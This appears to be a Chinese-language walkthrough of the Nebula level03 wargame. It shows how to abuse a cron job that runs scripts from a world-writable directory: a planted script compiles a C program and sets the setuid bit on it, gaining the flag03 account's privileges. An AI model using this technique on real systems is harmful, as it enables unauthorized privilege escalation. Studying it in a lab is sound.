Nebula level03

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

喔喔出現不一樣的題形了,一樣先登入 level03

發現一個空目錄 writable.d 和一個 shell script writable.sh,騎內容如下:

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done

先普及一下 shell script 的概念,shell script 就是可以一次執行一堆指令的東西,還能包含一些邏輯運算跟迴圈。

回到正題,這個 script 會執行在 writable.d 裡面的檔案並在執行完之後刪掉

ulimit -t 5 會限制下一個 bash 的指令的最大 CPU time 在 5 秒(man bash 搜尋 ulimit-t)

bash -x "$i" 執行並印出執行的指令(在這邊是$i)到螢幕上


先看一下2個檔案的權限

drwxrwxrwx 1 flag03 flag03 ... writable.d
-rwxr-xr-x 1 flag03 flag03 ... writable.sh

任何人都可以寫入 writable.d (第三組有’rwx’),任何人都可以執行 writable.sh (第三組有 ‘x’)

雖然任何人都可以執行 writable.sh,但因為沒有 setUID,所以會按照原本的使用者權限來執行,也就是說,直接用它來跑 getflag 是不會成功的

[執行一個跑getflag的 script 證明這樣不行]

因為我們不管怎麼樣都沒有權限,所以要找其他的突破口 … 卡了好久之後終於看到題目裡面有一行

There is a crontab that is called every couple of minutes.

‘crontab’ 是讓使用者可以定期背景執行指令的工具 (man crontab 或 google)

因為沒有權限用 crontab -u flag03 -l 去看 flag03 的 crontab 到底是什麼 … 我們先「猜」這個東東會用 root 權限執行 writable.sh 好了

我們先在 /tmp 裡面打好我們要執行的程式 (不在 writable.d 裡面打因為會被 writable.sh 定期清掉 0A0)

"/tmp/abs.c"
------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){
        // 跑 getflag
        system("getflag");
        return 0;
}
"/tmp/run.sh"
------------
#!/bin/sh

# 編譯一份可執行檔 abs 到 /home/flag03 底下
gcc -o /home/flag03/abs /tmp/abs.c
# 給 abs setUID 權限
chmod u+s /home/flag03/abs

其中 run.sh 是用來給 writable.sh 跑的 script ,會變出一份會跑 getflag 的可執行檔 ‘abs’ 在 /home/flag03 底下,之後再執行 abs 就能拿到 flag 了

要先用 chmod 打開 run.sh 的執行權限 ,不然 writable.sh 不能執行一個非可執行的檔案

完成! 0A0


關於為什麼不直接在 run.sh 執行 getflag 是因為 crontab 是背景執行,所以就算能跑 getflag,我們也看不到 successfully executed getflag


下一關

回系列目錄